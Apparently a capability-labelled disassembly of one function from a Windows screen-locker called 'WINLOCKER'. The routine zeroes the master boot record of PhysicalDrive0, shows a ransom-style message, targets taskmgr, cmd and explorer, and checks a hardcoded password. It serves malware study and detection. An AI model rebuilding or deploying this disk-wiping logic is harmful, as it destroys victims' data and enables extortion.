Function at 0x4045c0
Capabilities:
Compare security identifiers
Execute command
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4067e9
mov eax, dword fs:[0]
push eax
sub esp, 0x300
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x298]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404fa7
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x29c]
push eax
push 0
push 0
push 1
push dword [ebp - 0x298]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404f9b
push dword [ebp - 0x29c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x404f9b
lea eax, [ebp - 0x29c]
push eax
push dword [ebp - 0x29c]
push edi
push 1
push dword [ebp - 0x298]
call esi
test eax, eax
je 0x404f91
lea eax, [ebp - 0x214]
mov dword [ebp - 0x21c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x12
push 1
lea eax, [ebp - 0x21c]
mov word [ebp - 0x218], 0x500
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x404f91
push dword [ebp - 0x214]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push dword [ebp - 0x214]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push dword [ebp - 0x298]
call edi
test esi, esi
je 0x404fa7
push 0
push 0
push 3
push 0
push 2
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404fc9
push 0
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x2ac], xmm0
push dword [ebp - 0x2a8]
push dword [ebp - 0x2ac]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0x200
call fcn.004056db
add esp, 4
mov dword [ebp - 0x2a8], eax
lea ecx, [ebp - 0x21c]
push 0
push ecx
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call edi
push 0
push 0
push 3
push 0
push 2
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404fce
push 0
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a0], xmm0
push dword [ebp - 0x29c]
push dword [ebp - 0x2a0]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor eax, eax
cmp eax, 0x200
jae 0x404fdd
mov byte [ebp + eax - 0x210], 0
inc eax
cmp eax, 0x200
jl 0x4047ac
push 0
lea eax, [ebp - 0x214]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
push 0x30
push str.Goodbye__PC_:_
push str.You_have_been_infected_by_WINLOCKER_made_by_Mirage__mirage_null.net_._If_you_have_any_unsaved_files_open__save_them_right_now_or_you_will_loose_them._DO_NOT_try_to_remove_this_malware_by_yourself__otherwise_your_data_will_be_irreversably_LOST._Basic_structure_of_your_hard_drive_has_been_CORRUPTED__and_only_we_have_a_backup._You_SHALL_NOT_restart_or_power_off_the_pc__or_else_you_would_not_be_able_to_boot_it_again._The_only_way_to_restore_your_system_would_be_to_enter_the_password._Good_luck._Press_OK_to_continue_._._.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push str.taskmgr.exe
lea ecx, [ebp - 0x234]
call fcn.00403b00
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 0
call fcn.00403c10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x220]
cmp ecx, 0xf
jbe 0x40485a
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404850
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404850
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405714
add esp, 8
push str.cmd.exe
lea ecx, [ebp - 0x234]
call fcn.00403b00
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 1
call fcn.00403c10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x220]
cmp ecx, 0xf
jbe 0x4048bf
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4048b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4048b5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405714
add esp, 8
push str.explorer.exe
lea ecx, [ebp - 0x234]
call fcn.00403b00
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 2
call fcn.00403c10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x220]
cmp ecx, 0xf
jbe 0x404924
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40491a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40491a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405714
add esp, 8
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x224], 0
push str.C:Windowsexplorer.exe
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x220], 0
movups xmmword [ebp - 0x234], xmm0
call fcn.00401a80
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x294]
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x284], 0
push str.C:_safefolder
movups xmmword [ebp - 0x294], xmm0
mov dword [ebp - 0x280], 0
call fcn.00401a80
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x294]
mov dword [ebp - 0x214], esp
mov ecx, esp
mov byte [ebp - 0x2a1], 1
push eax
call fcn.00404ff0
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.00404ff0
mov cl, byte [ebp - 0x2a1]
mov byte [ebp - 4], 4
call fcn.004020a0
add esp, 0x30
call fcn.00402350
push 0x407d60
lea ecx, [ebp - 0x264]
call fcn.00403b00
mov byte [ebp - 4], 6
lea eax, [ebp - 0x264]
cmp dword [ebp - 0x250], 0xf
cmova eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
nop dword [eax + eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Enter_the_password:
call fcn.00403f10
xorps xmm0, xmm0
mov dword [ebp - 0x23c], 0
movups xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
mov byte [ebp - 4], 7
lea edx, [ebp - 0x24c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.004051f0
cmp dword [ebp - 0x238], 0xf
lea edi, [ebp - 0x24c]
mov eax, dword [ebp - 0x24c]
xorps xmm0, xmm0
mov esi, dword [ebp - 0x23c]
cmova edi, eax
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x29c], eax
mov dword [ebp - 0x214], edi
movups xmmword [ebp - 0x2c4], xmm0
cmp esi, 0x7fffffff
ja 0x404fd8
cmp esi, 0xf
ja 0x404add
movups xmm0, xmmword [edi]
mov eax, 0xf
mov dword [ebp - 0x2b4], esi
mov dword [ebp - 0x298], eax
movups xmmword [ebp - 0x2c4], xmm0
mov edi, dword [ebp - 0x2c4]
mov dword [ebp - 0x2b0], eax
jmp 0x404b87
mov edi, esi
mov dword [ebp - 0x2b0], 0xf
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x404b08
mov eax, 0x80000000
mov dword [ebp - 0x298], 0x7fffffff
add eax, 0x23
jmp 0x404b2d
cmp edi, 0x16
mov eax, 0x16
cmovb edi, eax
mov dword [ebp - 0x298], edi
inc edi
cmp edi, 0x1000
jb 0x404b49
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x404fd3
push eax
call fcn.004056e4
add esp, 4
test eax, eax
je 0x40484a
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x404b5c
test edi, edi
je 0x404b5a
push edi
call fcn.004056e4
add esp, 4
mov edi, eax
jmp 0x404b5c
xor edi, edi
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x2b0], eax
lea eax, [esi + 1]
push eax
push dword [ebp - 0x214]
mov dword [ebp - 0x2c4], edi
push edi
mov dword [ebp - 0x2b4], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push str.12345678
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 8
call fcn.00403b00
cmp dword [ebp - 0x268], 0xf
lea ecx, [ebp - 0x27c]
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x2c4]
seta byte [ebp - 0x2a2]
mov dword [ebp - 0x214], eax
cmova ecx, eax
cmp dword [ebp - 0x298], 0xf
seta byte [ebp - 0x2a1]
cmova edx, edi
cmp esi, dword [ebp - 0x26c]
jne 0x404c36
sub esi, 4
jb 0x404bf3
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x404bf8
add edx, 4
add ecx, 4
sub esi, 4
jae 0x404be2
cmp esi, 0xfffffffc
je 0x404c2c
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x404c25
cmp esi, 0xfffffffd
je 0x404c2c
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x404c25
cmp esi, 0xfffffffe
je 0x404c2c
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x404c25
cmp esi, 0xffffffff
je 0x404c2c
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x404c2c
sbb eax, eax
or eax, 1
jmp 0x404c2e
xor eax, eax
test eax, eax
je 0x404d09
cmp byte [ebp - 0x2a2], 0
je 0x404c74
mov ecx, dword [ebp - 0x268]
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
cmp byte [ebp - 0x2a1], 0
mov byte [ebp - 4], 7
je 0x404cb0
mov ecx, dword [ebp - 0x298]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x404ca6
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edi
call fcn.00405714
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Incorrect._n
call fcn.00403f10
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x238]
cmp eax, 0xf
jbe 0x404a10
mov edx, dword [ebp - 0x29c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x404cfa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
jmp 0x404a10
cmp byte [ebp - 0x2a2], 0
je 0x404d47
mov ecx, dword [ebp - 0x268]
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
cmp byte [ebp - 0x2a1], 0
mov byte [ebp - 4], 7
je 0x404d83
mov ecx, dword [ebp - 0x298]
mov eax, edi
inc ecx
cmp ecx, 0x1000
jb 0x404d79
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edi
call fcn.00405714
add esp, 8
push 0x4078b8
lea ecx, [ebp - 0x30c]
call fcn.00403b00
push 0x4078b8
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 9
call fcn.00403b00
push 0x4078b8
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0xa
call fcn.00403b00
mov ecx, dword [ebp - 0x2a8]
sub esp, 0xc
mov byte [ebp - 4], 0xb
call fcn.00404350
mov ecx, dword [ebp - 0x2c8]
add esp, 0xc
cmp ecx, 0xf
jbe 0x404e0a
mov edx, dword [ebp - 0x2dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov ecx, dword [ebp - 0x2e0]
cmp ecx, 0xf
jbe 0x404e44
mov edx, dword [ebp - 0x2f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov ecx, dword [ebp - 0x2f8]
cmp ecx, 0xf
jbe 0x404e7e
mov edx, dword [ebp - 0x30c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov eax, dword [ebp - 0x238]
cmp eax, 0xf
jbe 0x404eba
mov edx, dword [ebp - 0x29c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x404eb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov ecx, dword [ebp - 0x250]
cmp ecx, 0xf
jbe 0x404ef4
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404eea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov ecx, dword [ebp - 0x280]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
cmp ecx, 7
jbe 0x404f4f
mov edx, dword [ebp - 0x294]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404f45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
mov ecx, dword [ebp - 0x220]
cmp ecx, 7
jbe 0x404fac
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404f85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40484a
push ecx
push edx
call fcn.00405714
add esp, 8
jmp 0x404fac
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 0x298]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004017d0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004054cb
mov esp, ebp
pop ebp
ret
call fcn.00401fd0
call fcn.00401fd0
call fcn.00401150
call fcn.004011f0
call fcn.00405600
int3